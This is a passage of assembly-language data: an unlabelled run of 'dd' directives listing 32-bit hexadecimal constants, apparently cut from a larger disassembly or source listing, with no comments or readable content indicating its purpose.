1B106DAAh, 4501A196h, 6124016Fh dd 0A7B3EC85h, 0DA14CE7Fh, 0C75C47CFh, 0E740642Dh, 1F2EB1C4h dd 5FA0BCD9h, 22864103h, 0E505D870h, 88A0EFE8h, 800EEF9h dd 8AC1B3EDh, 486671E5h, 6E80C0E0h, 0CA428EA0h, 0C0483090h dd 83680010h, 4528622h, 4229C003h, 8DDC8999h, 31516B40h dd 0A9B06E30h, 9EC80E86h, 4CDF53DCh, 74002294h, 375023A9h dd 0E102FFF9h, 0ADA49260h, 0BD284046h, 0C6E00930h, 38215D7Bh dd 0BFDB424Ch, 0B5AF0140h, 0C15C4537h, 61E88425h, 0FE5D00EFh dd 0E8A15F2Fh, 0DD7B2E86h, 4855C709h, 0CC743962h, 8336C00Eh dd 5FE7FEh, 0CA574E0Ah, 0B49548D3h, 0FBEDC23Fh, 9B715C12h dd 1096CC0Fh, 74FC307Bh, 5BB73240h, 245F4F58h, 718038FBh dd 81014731h, 0B8C07BFEh, 7BAC8589h, 118B9814h, 0D3097091h dd 16A28646h, 0C2CF2494h, 0D4C150D4h, 0A1444AE7h, 98242C14h dd 4C890184h, 5592653Bh, 0C40432EBh, 0D180C0D6h, 720EA675h dd 27C700AFh, 0B2A39539h, 0E891C8CBh, 0DC267DD9h, 0F760E18Fh dd 0DB546AA4h, 0A79440E3h, 4AF9E314h, 6E2D0084h, 0DC619BB9h dd 59A0A048h, 8D200062h, 0DFD571A6h, 3C00126Eh, 103D2834h dd 37A6DC2h, 0E8A2F518h, 30A64270h, 121B5B16h, 0F8BDA823h dd 4CA034B5h, 6E05CCD1h, 4470D702h, 227317D0h, 0DC80605Ah dd 1208E801h, 28D9C760h, 99003264h, 9ACCBE14h, 3F7562Bh dd 1BACDA0Eh, 50A00B77h, 0EC60E201h, 0FBB70D28h, 0D6406F9Fh dd 31055BA0h, 0D17D573Bh, 7D4F713Eh, 0D4E0603h, 0E0133A16h dd 8C9D6Ch, 55171223h, 9096B5D0h, 148B01Eh, 295F339Dh dd 7ABF0B8Ch, 88900E6h, 6F47ED8Dh, 0CC00B457h, 96B09371h dd 0C090127Bh, 73310C80h, 3200177Fh, 0D3F38010h, 0F082BC9h dd 0C60D4F14h, 0BCAEBE6Ch, 34096A00h, 9367D09Fh, 771E0740h dd 6195295Bh, 0E002B7D7h, 0BF01FB70h, 62562C33h, 0F0D7572Fh dd 60295A05h, 0E1B770FAh, 68001E9Ch, 6621713h, 6A95B4h dd 0FC9194B9h, 426DB707h, 1E8280A7h, 9711A31Ch, 0FDB58C44h dd 1A02E579h, 36B33D74h, 55C4B908h, 3B19904Ch, 41807D73h dd 360CCB8Bh, 160CD047h, 11C8F3C0h, 50177891h, 819A1094h dd 0F908402Dh, 9142BA17h, 4620E120h, 0DD7A00C9h, 4523376Dh dd 8100529Ch, 0BC86F5CEh, 0C88094h, 0E4A5FA7Fh, 2EEA5D6Ch dd 97007871h, 25121DEFh, 4CCA233Ch, 0B707FE6Dh, 0F064FE9Ch dd 0CD8BEB47h, 0BC85B906h, 1487F5Fh, 8DD432B6h, 8382B8B7h dd 8F950C38h, 93400375h, 30F25CF0h, 34490B88h, 0E12C9718h dd 1ECA6D48h, 0CC7AFE5Ah, 78B8C7E6h, 9B11CE0Ah, 0E406958Fh dd 62A0950Fh, 339948A4h, 0F325400Fh, 0C379E7BDh, 0ABEB23F1h dd 3B2C001h, 0BD80204Dh, 0CCA22E4h, 4E9D8793h, 1503A248h dd 37FCDF28h, 0D021E098h, 62D7ECCh, 347F8C7Dh, 9F5050FEh dd 4B0016ACh, 8DABC896h, 3015D9CDh, 0C2301FE1h, 57108C7Eh dd 7C4088DBh, 2BF7D4Fh, 66917FEFh, 0D0A06549h, 80072A23h dd 64C9900h, 0BD44CF59h, 2EE85Fh, 0FC2335F1h, 6E08703Ch dd 4A60E900h, 90C0667Fh, 0ED70C0D1h, 34ACB6CAh, 0E103F1C7h dd 0FD582320h, 663A72A2h, 214B08FFh, 3EEF503h, 0D08C7F1Ch dd 18F2A3B4h, 0B0CD737Dh, 0F0A1ECFEh, 8F04C1C0h, 20094C60h dd 979CBF6Fh, 3560035Dh, 0BA601ECh, 2BA1C380h, 4571A702h dd 60AC27F4h, 0E2D7ADCDh, 9D8300B9h, 0DDE78EDCh, 0D400DB99h dd 0B434BBD5h, 0BD97FBh, 0E32641C4h, 2998D9F6h, 61B6DF00h dd 5EE695F0h, 0E19C0001h, 9379359Ah, 7E00ACD6h, 0F282E453h dd 76E2A4A2h, 2575F7h, 0D084AA1Ah, 207BF40Ch, 0DC5EFE0Fh dd 0D49D0308h, 0A551E0ACh, 937D0E45h, 5198F441h, 3131F072h dd 2D71053h, 0F13A70h, 577516A8h, 890D0486h, 465C6E00h dd 7FE1EC0h, 39510072h, 0B4A4D0BEh, 92F8E162h, 0B342231Eh dd 4C0C12C2h, 88A743E9h, 276C6816h, 17C576Ah, 54C59700h dd 185C9EDh, 22BC23AAh, 30E384F6h, 72189F9Eh, 8C91200Dh dd 0BDDE0025h, 6F33642Ah, 97F8ACD5h, 0FC41C800h, 0CEE16D5Ah dd 93E2002Dh, 0AB7B141Ch, 52FEE078h, 404A181Fh, 0F3E34340h dd 0A4B5FC3h, 738E6AE7h, 0D7803D91h, 0CC719E47h, 0D274F703h dd 803B843Fh, 9F460B5Eh, 0B4C792h, 70032129h, 0A95287E9h dd 0BF5F3700h, 85352E05h, 466C1F0Ah, 2518C0AAh, 8F282DFEh dd 0B76E6607h, 0A207DCFh, 0BD43F0h, 0D6AFB33Eh, 7908093Dh dd 0B7D8E900h, 5A866293h, 0D95D00A5h, 6D7B41A4h, 2600779Bh dd 9CC11502h, 381714F4h, 4980FFA8h, 0A3A97B57h, 0B358DDC4h dd 555B00F2h, 32886B7Dh, 49930314h, 6544F1BFh, 0C4B200FFh dd 6F00FE51h, 0AA7D2198h, 74A90694h, 2CD90071h, 0D0CF1937h dd 68000C34h, 6FC74A6Ah, 9EDB31h, 650EA56Eh, 13A3B68Fh dd 41EAA6F8h, 0C296190Fh, 7404C0F2h, 701D0D8h, 0FBE45106h dd 0B36CF00Dh, 23F85209h, 5A5D4300h, 0CFB8869Fh, 9E3600EDh dd 0A26BBFDEh, 42005291h, 0E5ACA01Dh, 1AD0E1h, 0A8D1C098h dd 85BFB471h, 0ECC8DD00h, 5E0F548h, 0D5AF3070h, 77CD9838h dd 0C28F769h, 20942966h, 0C222A27Ah, 11094275h, 0C008AD32h dd 0A608D9A1h, 0A8C58880h, 6022289Eh, 4A81518Ch, 6F3DBC8Bh dd 3F8680A8h, 0E89B98CFh, 70A90012h, 0FF639514h, 7C70C702h dd 1C855E00h, 0DD2C3F6Eh, 5CDB601Fh, 4BBE38D0h, 942DC100h dd 0ED626125h, 0DAAD00E7h, 82D63B9Dh, 0A70191D3h, 365DF821h dd 0E3C02A70h, 0AA57004Fh, 0E7C490A3h, 6D00587Eh, 0AB8426C9h dd 0EA9A7F2Fh, 8D290003h, 42EEA0F2h, 0E0EAC1Bh, 60511628h dd 9AB0A2B2h, 662100D7h, 0EF690D6Bh, 0AC0F6568h, 0E1767038h dd 15E65DDCh, 1A55E4h, 5AFF3F3Ch, 338AA4EEh, 59DAAE1Fh dd 25A1BA04h, 0CA3B56C3h, 9203D50Dh, 0CE0A0D2h, 5A00C482h dd 8F15C072h, 11D4D19h, 28AF0514h, 8F480CF3h, 0A1072298h dd 0D6764E0Ah, 3EDD0030h, 0E4002FA8h, 3692CBD5h, 0E100801Fh dd 0F44B4409h, 72918AC4h, 0DC630015h, 1B7D3A59h, 98C127BCh dd 4CA2FA58h, 6D2220h, 98DFDCB5h, 9ADEB6F6h, 39A15Ch, 0BFF2D3E4h dd 65405Eh, 0D53D69C6h, 3A2FC8C9h, 0B4B76109h, 0AA510310h dd 52B2F07Ch, 5F0E0E95h, 7F020Dh, 27EEE72Dh, 0FD00BD49h dd 18B953A5h, 0E570E9h, 85AD0A39h, 0C0FF2D68h, 932E6B1Ch dd 96CDD9C0h, 73D80553h, 1A990F0Ah, 0FDE3DF97h, 77B8B5F0h dd 6700917Dh, 58CDC70Bh, 0A0FA123Dh, 70C16F0h, 0D81BF559h dd 7B50C011h, 0BF3EAA0Fh, 58A580B1h, 0C538E786h, 60810662h dd 70339429h, 0F900CC78h, 4F78C704h, 127B5B7h, 0CBE8595Bh dd 0ECE9B12Eh, 0A2585301h, 0D6EE0125h, 0B99CAA20h, 0A07F6C31h dd 81175496h, 5B14C90Eh, 2A59007Ch, 6AE08B8Eh, 3EF5B0E7h dd 989C652Dh, 3D574008h, 9C992BBh, 0BA38FB00h, 0EFE44EB7h dd 12F87B9Dh, 0C09AFFCBh, 5446A503h, 3CE89400h, 28DEEE86h dd 47DCF5B0h, 6CB030Bh, 0BA7C7897h, 9FC0B4E3h, 41002762h dd 0B2040A94h, 0DE1E60h, 0D08B652Ch, 7EA196E4h, 54CF3E00h dd 0FC35F940h, 3F710055h, 0CEE8B79Ch, 7BE8DAC8h, 0FA6E7300h dd 0B49502C0h dd 70C401D2h, 94EEA946h, 748C308Fh, 0BAF78B00h, 98B86B60h dd 1C4EAE2h, 0C3A541E5h, 0F8965DB6h, 8C00506Ah, 0FF75D5B5h dd 699222h, 85FBBA1Bh, 5424E413h, 0DD11209h, 5F005F74h dd 80A336A5h, 1F882D01h, 4E60E48Fh, 504560h, 3D122FB3h dd 0CF6A4314h, 0B4C960Bh, 526780A5h, 5512DA3h, 65C56082h dd 0B8F00E42h, 193C4420h, 9F07E163h, 24777503h, 0E7F081E0h dd 0D23A00C3h, 9479589Ah, 0CA3B76E9h, 683C80E8h, 6742BFCDh dd 0D414000Ch, 652EC4BEh, 3D004E05h, 74ADB282h, 489BB487h dd 0C51F105Dh, 355180FEh, 9F73D7Dh, 74F8C339h, 0A7CF7501h dd 830FE501h, 0C320824h, 799B61E8h, 4C00CE98h, 0D9121757h dd 0F61B15h, 7C6BC614h, 0D17AB822h, 0A3B9FC28h, 0FE17BA00h dd 6F884694h, 0DDF1165Ah, 4D52019Bh, 3087E77Ah, 2B0072F7h dd 0B978A660h, 1B1425h, 6DA34F68h, 0D4ADAF50h, 54D92F00h dd 0EBB86134h, 653500BBh, 0D11E37C2h, 0C9006A64h, 0CF0F3198h dd 24943Fh, 4479F259h, 0B2719212h, 0B8CE4200h, 0F9378B52h dd 7AD20113h, 0D983A33Eh, 0CD31D8EBh, 0F2090105h, 8980BB18h dd 11B881Fh, 5FEEFF51h, 6016A24Ah, 0F63CC0C9h, 2CAF8547h dd 0E1038245h, 0D0A0AC43h, 839998h, 0F2F8D6BFh, 7AE6DC97h dd 9E82AB03h, 0B06E8E18h, 27A6BF3Eh, 455631E7h, 0CC3C2700h dd 30C9985h, 0B857CE80h, 18A881FFh, 38005E4Bh, 0D36102DBh dd 0F439613h, 7D9A3D4Fh, 0A2485CE0h, 413856ACh, 0D79F00B5h dd 26E0FBC4h, 0D6EAC5h, 761D14F5h, 0F465F2B6h, 0D539E400h dd 0BE723CECh, 0AD161BFFh, 9F986409h, 0F6700598h, 2092F200h dd 0C62C5F4Eh, 643D005Ch, 0AA2FB1F8h, 470031EDh, 7B0EE380h dd 3A848EFh, 0C244F655h, 88F18611h, 50E87037h, 0E0EADD09h dd 31C580A9h, 7ADFBBBEh, 2FE0364h, 843768C2h, 87AACB90h dd 1163F800h, 0A4FBBD2Eh, 2B770054h, 1BBB3F35h, 0F0005FFAh dd 0E4B1F475h, 0C6D0Ah, 5CD855AEh, 0D04618F9h, 587C001h dd 0E56672B7h, 46244D0h, 7422D229h, 0E0F6C7C2h, 51ECBAAAh dd 87008CECh, 0F995AB23h, 811659h, 331FA5CCh, 5F2735DEh dd 39FFF500h, 78D2EEAAh, 30220155h, 2E65028Ah, 62AC41CBh dd 494A6054h, 0AC419C00h, 61486457h, 0F07EE1D2h, 8D004CD7h dd 1C7BDE72h, 628849h, 7E316E71h, 0D0CBDC1Dh, 0D529C803h dd 0E0363024h, 120912Bh, 726F530Fh, 81505975h, 0C8198978h dd 0B02099BDh, 126003Fh, 0EF51E0AEh, 490021D6h, 4BF3438Fh dd 174CBBAh, 0BD67E62Ah, 0BD37401Ch, 23E78086h, 0D9473D90h dd 0DF441CA9h, 53148C96h, 0A4A866BCh, 2100A254h, 0A446BE0h dd 738CB47h, 1557241Dh, 0F233B0F9h, 0C3000B1Bh, 9FA1551Ah dd 386713h, 0EA3C45A4h, 73C2DAD5h, 0ED8BB601h, 0F5D94C11h dd 3EBFE007h, 0B47E0953h, 0D15F2007h, 0D8904865h, 8D58EDh dd 90A0C19Eh, 0AA7276CEh, 5E817403h, 0C85DEE9Ch, 1CBEB57Dh dd 68EB4971h, 95800097h, 9EE0EFBFh, 0AB28E690h, 25009C5Eh dd 586B76C1h, 0C709Ch, 0FD284A84h, 9403EB10h, 0AA60FA16h dd 41A47F00h, 4F0EC2h, 0D045B024h, 15E9E66Bh, 0EA7A2600h dd 3A44D5F4h, 27E40001h, 66D89ABAh, 3100A287h, 169E68AFh dd 0BC61C5h, 3E1197F0h, 553AB9BAh, 1448C200h, 2941FA86h dd 4F650057h, 2F62AEFh, 2D1F3335h, 0C000A7A4h, 0DA40C905h dd 96E007EEh, 70306A0Bh, 6352B10Ch, 0D2036DFEh, 0CD562985h dd 3FCAF1FFh, 6E53460h, 413C8A7Bh, 0A7EED0EDh, 48DC4830h dd 4A101Ch, 71235C3Ah, 43015AEAh, 49D529C0h, 0A088B6A8h dd 1FBFD8Ch, 7018F6EEh, 6F1632B9h, 13BC09B0h, 1D8D3FE3h dd 0D8C4DDA8h, 3E463017h, 54414Ch, 0DF6C5AA2h, 459573h dd 0E41DFEFDh, 0EB17E58Eh, 3018DC30h, 6A264F8h, 6886ED15h dd 789820DAh, 0C37DCD0Ch, 0F4F10E6h, 0AC42134h, 1A25DEC0h dd 0E906F68Dh, 0B12E0DCh, 2FCC0048h, 54565A70h, 3F3C18E4h dd 5591004Fh, 1697A38Fh, 0B6090FBh, 0E04A2E42h, 0F8F100F5h dd 7888B41Ch, 0C89B18A6h, 0D9BC4C03h, 39F68700h, 88645016h dd 0F9860018h, 2B5D429Bh, 322E7B7Ch, 330082E9h, 53FA54C0h dd 633003E7h, 6CDC9C7h, 0DA8C8E0h, 66019C71h, 64620F1Dh dd 4760CC0Eh, 0B16B096Eh, 200C045h, 1EF39B10h, 61FCA507h dd 2851D776h, 0EEF005BBh, 5B8C006Ch, 0BF50947Fh, 0B7723071h dd 57D0C803h, 0D8CF9B0Dh, 961EDEh, 0A51AA0B4h, 322BC26Fh dd 0CB085001h, 2D64C145h, 71C6F8E3h, 41BE60A1h, 0D2B81FA8h dd 0DE07F273h, 4FF3D31Dh, 0B6558950h, 97B27h, 0D9074E92h dd 0AA67C66h, 0BB1F2D00h, 5EAA4D01h, 23990050h, 0A15F4329h dd 0B807951Bh, 7EC34CD6h, 0C0FFBBF3h, 0D876A3h, 0A4341D45h dd 98C04DE6h, 0E06D22CFh, 270CE735h, 0A71F0CE3h, 5E219F15h dd 7E78033Bh, 79572500h, 0CC8793CEh, 12E50006h, 8D599062h dd 0F7004C46h, 88BEAB21h, 0C00A36h, 0D66C236Bh, 0DAC5796Ah dd 0B186FF00h, 0A7479271h, 78557960h, 0C8DD00E0h, 3CAAB0CFh dd 7F77E77Eh, 17969407h, 73300DB7h, 540E6F5h, 23805EEDh dd 76D10367h, 38009D7Ch, 9538B501h, 3113EBh, 0F29812D3h dd 0D009CE6Eh, 0EEAB0700h, 6A51B0C7h, 84AD004Fh, 9EBE88F5h dd 111F8725h, 50C08331h, 824CF895h, 6690ABh, 74A72448h dd 0F9C3E6FFh, 0A3858F01h, 69CB4CD3h, 2C66C1F4h, 0A27438h dd 0D1EFA9A5h, 9500FCDEh, 0E2FB96ABh, 9CE5F6h, 878DD5DCh dd 0B69E4264h, 2A1BE603h, 0C04B958Bh, 74EA45EDh, 0B1AF0CE5h dd 0FD50529Ch, 0D8502707h, 0EEF0A055h, 3CC722D6h, 76800B7Bh dd 0A3CA3877h, 81743239h, 68D4ED50h, 0A7E31307h, 5E308837h dd 1CD4098Ah, 0F85D159Ah, 64DBD700h, 760127CEh, 2E1E23Fh dd 98C6576Fh, 43DB4097h, 42F6DFh, 7518C880h, 0C015931Bh dd 0F4172C00h, 0EB4E97BAh, 0B04A0758h, 50AC8D05h, 377947FCh dd 47A8605h, 4BC0D1C7h, 28BBF385h, 0EACA31h, 0EFBCAC97h dd 0FD4356F4h, 6974B2FAh, 3407542Ch, 2C826E00h, 22929Eh dd 7F34DA27h, 61E49FD9h, 105C0900h, 0E96D57F3h, 6E4904DBh dd 808FEE8Ah, 11594368h, 7D06FA64h, 0C3BDD780h, 42105849h dd 1C277F77h, 0C09A1A17h, 0F77A3A1Ch, 0D93DFE20h, 0BFE40043h dd 0AADC4768h, 0E8A5074Ah, 60C664D4h, 8D98A19Fh, 24017F3Dh dd 5C00AC31h, 400311E2h, 602700B9h, 0F7B5104Eh, 0C2121C41h dd 41CC618h, 0F03E8F01h, 1AEC7EE3h, 6F901E67h, 344287F9h dd 304E90F5h, 0D93AC53Dh, 0E21B00CEh, 7A84FE87h, 90EA0050h dd 0BE0B88F6h, 6EFC9D13h, 0ADBD200h, 0BBB60E16h, 28700798h dd 200DCA08h, 43BF6065h, 0FE9B5300h, 0F095878Ah, 842500EFh dd 7E8C8982h, 8D00EB41h, 0D2F0750h, 0D233ACh, 0CD06A297h dd 8F24A79Dh, 0A8F0EB00h, 49AE4A51h, 0D390912h, 0D78AC529h dd 85BB0032h, 0AB875AA6h, 0BD50E900h, 1D2CB998h, 9DCD4C7Bh dd 97A0B000h, 3F7C313Eh, 0C7E21600h, 0E7A57034h, 6D4E2C9Fh dd 0F838307Bh, 0C1004035h, 68CB602Dh, 0B337ACh, 84D594F5h dd 0EB761795h, 8CC87000h, 0ADD08A7h, 3D6E0715h, 508366B1h dd 0E010C72h, 0ED5080EFh, 0A47636AEh, 682700A8h, 0D869F046h dd 3800823Eh, 9F2B61BBh, 0C30863h, 0C6FEB20h, 0CCF62ED2h dd 57A9F200h, 0FF7C4E99h, 0FCD50023h, 73FD3F34h, 0C21DCA25h dd 8A838D11h, 0E097E381h dd 6F1A5Fh, 857A874Eh, 0F8D1F47Eh, 0AE102B60h, 75CCA9h dd 3E6B100Bh, 0A0454E68h, 0FDF600Eh, 6FDB008Dh, 72A6780Dh dd 0A9C100E1h, 4EDACF8Ah, 0FF1413A8h, 0F869D8h, 0D6072D06h dd 5198F423h, 0A080E519h, 68F1311Ah, 2B0AD56h, 0AC409600h dd 1DD597C3h, 8DD300FAh, 0ED24A42h, 0F6009F04h, 0E650B8B1h dd 0E882385h, 2BDEF46Dh, 0BB31D87h, 0A2CB1A00h, 0C20006CAh dd 834A0F37h, 73B4104Ch, 24B5FC62h, 80817D2h, 0C881CE80h dd 10039006h, 4DF0C040h, 68070F48h, 120FB81Bh, 94061669h dd 6E0F10D0h, 0E5BA083Ah, 0F7C0F036h, 3F1430h, 9C69FDF4h dd 7371CD21h, 8F37C82Ch, 9942AF01h, 0D0E0F2D9h, 441E483Dh dd 108C2F00h, 0B698A0C3h, 418FD100h, 913D494Ah, 0D5DE016Bh dd 8552C865h, 0F932F831h, 2D540609h, 77AF8273h, 0E0044383h dd 94A97Ah, 65B803D8h, 0E4C73D1Eh, 0B4932C00h, 0CD5E2F73h dd 0E88E51E2h, 1377EECh, 0BA9BEE82h, 50D9A913h, 21205ED0h dd 67737800h, 3482494Ch, 9BF423h, 0EF906531h, 72626C70h dd 0DD3B0700h, 8C6B3EBEh, 523A05D0h, 32A533h, 0DC4D8BE8h dd 2B00A00Ch, 803D0692h, 2827DBD1h, 6C8FECh, 61456973h dd 6CD3AAF1h, 0DB54A301h, 17C5E7BEh, 0FFF23283h, 0E9A8F872h dd 0E800B759h, 2F1B5A0Fh, 1CBFD38Dh, 40D7ECBBh, 5699D051h dd 0EA1442B7h, 0E17FFBh, 0E5BCF64Ah, 253E5Dh, 79139133h dd 2220C83h, 70361D00h, 5339D710h, 3DB60069h, 351F7861h dd 52F45830h, 0B48F3600h, 66EA8285h, 0A84D1DC5h, 9B378010h dd 2B3438F6h, 724F0500h, 0EC7C241h, 0D7FF00F5h, 2E14337Ch dd 2D0F1CF2h, 62ADCF5Fh, 0C0FD6123h, 4029C42Ch, 10000E53h dd 0DA9514A9h, 208AF9h, 3DD8D389h, 180658F3h, 0BE02B601h dd 2B7BD743h, 0DA67C8h, 0F8F57287h, 0FFCD0BB8h, 0E2E80807h dd 3242A2F1h, 381860A6h, 2B750152h, 8A50143Fh, 29D1D4FEh dd 0E8DE5E00h, 2501C7A5h, 21A0071Dh, 6F438ED7h, 0F88F0420h dd 740061DCh, 0C9789291h, 7967BB1h, 0A2D839E6h, 6FA3C37Ah dd 8B5572F8h, 0AB341F07h, 85736792h, 74C8C822h, 0D4F90964h dd 2816272Fh, 6447D500h, 33638A08h, 3E26F22Fh, 8280E8B5h dd 0E0B71CBh, 911D3C1Fh, 6840E0EFh, 0E5AEB462h, 0AD702630h dd 0F230B888h, 222E6478h, 541158h, 0A07CE786h, 51BF5Fh dd 17134014h, 1CD56BAEh, 70DB1E05h, 3883FBA4h, 9442C0E4h dd 0B25A01C4h, 0AF578066h, 643561BCh, 40F384Ch, 60EEDA54h dd 19454233h, 0ACE649A4h, 0D77EC307h, 271690A2h, 11004405h dd 68F229EBh, 437C5Dh, 38EAD04Bh, 0A8374792h, 6DAB6500h dd 50A282C0h, 0D3A90015h, 54162841h, 121DD299h, 0DC0E6832h dd 3073007Eh, 7C5A0Eh, 17234AD0h, 0BF49CD63h, 6AA41503h dd 0B0D2A66Ch, 17147993h, 0FDFCF7h, 9DE4EC00h, 833AC26Eh dd 44EA800Fh, 23D2123Ch, 0AF72A0Ch, 0A567399Ch, 5CE6C180h dd 9AA747E7h, 8CA83B00h, 0E0B7A352h, 8B280032h, 44060583h dd 2C003FC7h, 3CFB0D2Bh, 301BE07Dh, 194B13Bh, 3F013038h dd 395B16E9h, 1FF82940h, 1890DCh, 0EA0C860Dh, 0E9F60C6h dd 0CD980FB0h, 17BCD603h, 852B83A5h, 61648D0h, 0F41F09C0h dd 2807ED52h, 97D8D07Fh, 9B006140h, 1A38514Ch, 29AD3Dh dd 0E78CD6Ch, 0BEA5EEA6h, 0E8122C0Eh, 0FD401FCBh, 50C022BAh dd 0E48E3926h, 0D5F36180h, 9503A927h, 1FA4D45Ch, 0B79FD068h dd 0A7EB0A00h, 1F2B17D9h, 0E1CB55h, 0B56B5FB9h, 9D01C2DEh dd 63D29E41h, 0B7D86843h, 10C4CEF9h, 0C0A6A064h, 2530D359h dd 2DE0DB75h, 8151ED00h, 5C1D0E9Ch, 6D273893h, 3A75B4CCh dd 0B280E9EFh, 22FB15F2h, 2528EBA9h, 211B1072h, 0C0A0D305h dd 1D4C5354h, 65B5DFDh, 18472869h, 2E35E00h, 0D7DA1BFCh dd 717A0081h, 93913704h, 0FA00D622h, 0A642FB1Ah, 0ED1E2131h dd 0A43C1182h, 80AAB54Ah, 228B01CBh, 802B81B4h, 53B0DB58h dd 0DCEE07h, 9AECC94Eh, 0A48A15FDh, 401CE251h, 545C8BDCh dd 0ADC8B314h, 14170F0Ch, 819CC736h, 0EA14BD0h, 1C7B002Ch dd 0C499626Dh, 0C7F603D6h, 0C029EE1Ch, 0A243D582h, 89836097h dd 8CC50023h, 3B11BE2Dh, 2200C9F0h, 64F83699h, 2FD00291h dd 9F7CF382h, 0F76CF402h, 0CAC405Dh, 4C0E0223h, 4012663Fh dd 9D25DD80h, 6E002CE6h, 3346A4B0h, 0A57279h, 7DFCBD61h dd 71B9446Bh, 9FF04B03h, 983053E0h, 0B6A7A65h, 0AF4A841Dh dd 5BF3D500h, 7E00C6BDh, 88B2239Fh, 3CDAA86Ah, 0AC83F6D9h dd 0A28F29AEh, 72DD4801h, 761139D3h, 251F1080h, 1DF8FCB4h dd 8F69E93Ch, 0E7926389h, 0F1805B8Bh, 7B3B10C0h, 3DFE7FB5h dd 0B11E606Dh, 62AE034Eh, 480C9E82h, 0A84CE774h, 6A710793h dd 4086D0C4h, 0CD223361h, 0A846670Ch, 0EE0D20F1h, 35C002Bh dd 0B90EC626h, 9DEC4D69h, 3E98B3Eh, 0EE3C91FBh, 0A062E048h dd 0DDC70176h, 0BAF7A51Eh, 8588507Ah, 701CCA6h, 6528818Eh dd 0E870FF7Ch, 7EEE861h, 0CDA1579Eh, 0DB45A0C1h, 0D90CB911h dd 419D9F6Bh, 76CC1864h, 1FE3C043h, 50C6950h, 80A8F56Fh dd 5AD163E0h, 47CC3CC4h, 80BA1B1Dh, 74B862B6h, 0C31C3680h dd 60C1E141h, 65E36DEAh, 0BB91088Ch, 6403D620h, 0A2FB3A33h dd 0C090B2EDh, 60A9D5E9h, 0D19620F3h, 0E01D566Fh, 0BC80C05Fh dd 62321AEFh, 0A4BF0193h, 0FF92B896h, 0AC8080CBh, 2D7430AFh dd 0E25C0062h, 736E96AEh, 0C4609AF7h, 0E9DA1851h, 0D74B01C9h dd 0FB3B6292h, 7517D08Dh, 0C37920C1h, 7DC87AE9h, 1869B0F2h dd 0D1954BFEh, 0CD52BA24h, 40D80270h, 3148C3E0h, 0A785108Bh dd 12790341h, 5720833Ah, 29DE6FE0h, 0CC0473Dh, 0C9DBD790h dd 0D5201774h, 243502F9h, 9161C106h, 90A830FFh, 0BD2D20C0h dd 0CE25F9h, 0A7E92C33h, 42B58266h, 0FFB27203h, 0B8E07C4Bh dd 0BD902Fh, 6298CE0Fh, 9F57CFC0h, 836CB007h, 8430DACAh dd 4FA0A4h, 41374CD8h, 96FAB5C1h, 7E7290FCh, 0F7180C00h dd 2B160E12h, 0FBE200A3h, 715DBF27h, 0CDFC8994h, 0A530DA7Ah dd 0FA3AB09Dh, 38C200A8h, 7D61F8A3h, 2B16246Ah, 7F00E6CDh dd 973BE4C1h, 0F790B6h, 0F08058C3h, 1571D4F8h, 0A8136FF8h dd 0F6007D11h, 0CC53E2DDh, 383A00DFh, 14EB8733h, 4873C6C2h dd 27FD8900h, 3D9BF2C9h, 58081E79h, 0C9C0068h, 70551263h dd 0CA5FDA00h, 86E276E0h, 0FE41BD0Bh, 0DFD2C86Ch, 82079EEAh dd 43DA3DA9h, 5B564030h, 5C420029h, 8CFF3A8Fh, 2C3AAB1Eh dd 2658544h, 0D980BD7Dh, 0D372442h, 770E9E3Ah, 461A170h dd 0A2E14070h, 0D4043518h, 2984CB00h, 0E810D4D9h, 0A29602B9h dd 1F60EA21h, 53638EE0h, 7F997600h, 2D58A1B4h, 0FD523DACh dd 0CD245480h, 18EDF8B8h, 0F476300h, 86EBF42Ah, 5F729Ah dd 0F72D55BFh, 445B346Fh, 671ED700h, 570B8723h, 0C99114F8h dd 0F5E320BBh, 7C1857CAh, 0FB88C2C0h, 0D3005074h, 0CCAEFE98h dd 48D28CC8h, 83B62205h, 598290FBh, 6D088749h, 29F4F881h dd 0A4B8E0h, 0A7DAAB9h, 0E1F9245h, 53F247Ch, 5D770198h dd 0F4B14A18h, 30AFD320h, 696016ADh, 96EECFD2h, 0F3E78F0Ch dd 1C3C889Eh, 68175280h, 63720D98h, 8507028h, 971B68B4h dd 0E020142Bh, 1A3BBA4h, 0B2853B59h, 86E8BFE4h, 24DF2661h dd 34AC78B1h, 20104050h, 92A42E20h, 9D12B110h, 130318A8h dd 66D3BA11h, 8FF5D0A8h dd 44973C34h, 6D094A01h, 80B4E79Ch, 0CB981F18h, 0F81DA757h dd 23E787Dh, 12DC46CAh, 20800C76h, 55638BA7h, 7FC55011h dd 4816F1h, 10792C9h, 70902B1Fh, 0D0CD35B7h, 4F008018h dd 0CC7454EAh, 8458BEh, 68B9D30Fh, 999D94E2h, 0F83018C0h dd 5C58AE15h, 2C3CE682h, 0FF8BD005h, 8020276Ch, 0B0E34E86h dd 0EFE0CE23h, 93E80091h, 7E8D8013h, 76390099h, 65EA1DAAh dd 0B125E79Fh, 60BA7894h, 0D03D8B4h, 0EF3E9C52h, 0F1AF008Fh dd 0C2ACA50Ch, 3E20AC9Ah, 7A11F6C8h, 1E59F246h, 0E32C8208h dd 47F808D2h, 0D09A20D0h, 15802010h, 27CC8566h, 4658DF40h dd 65608226h, 80043BF0h, 0C6FE0D09h, 648082Ah, 6586E0F6h dd 220290BBh, 0C88964CAh, 0DC3B1046h, 1F99D721h, 210C24E8h dd 67E50320h, 0F92E9D2h, 0A41140BCh, 40D8F5ABh, 122189CAh dd 0AD79503Ch, 18E5C0A0h, 288BFA30h, 1E49280h, 708D822Ch dd 0FD2935D2h, 0E8D1E051h, 6B741401h, 0C5967D8h, 4C0AF47h dd 9016F2E4h, 0D2661E38h, 9B2707C7h, 30DD85D1h, 5CFE6920h dd 0E466AF23h, 15A63C4Bh, 402E1126h, 51E3FE2h, 95F1AEFFh dd 1203F5Bh, 6D0BE8CFh, 405E0D77h, 0A071F710h, 75E5E8DAh dd 60C6230Fh, 0A1C73945h, 20A75DE0h, 46670358h, 712ADEB6h dd 0C4B050A9h, 6F0FD3D8h, 80CB26BAh, 0CE7F4AA3h, 0D1201978h dd 0F10403Ah, 8C519A02h, 213ED117h, 78C059C4h, 47AFECCEh dd 6368C4DCh, 6698B500h, 2A1CD5C4h, 74C3F524h, 0F88606BAh dd 0F0C632Dh, 0EAF49293h, 61453BA3h, 15BD1805h, 4A80F70Ah dd 0F0A01434h, 140C98E3h, 20AB279Eh, 134A581h, 8F840AB0h dd 2072866h, 50DC5316h, 423E2954h, 0C00DEABh, 7240C33Fh dd 653B1134h, 2A27A18Fh, 160A010Ah, 5DF4E591h, 1729405Eh dd 620C6760h, 0C03B9338h, 5860C198h, 0FF1F2E17h, 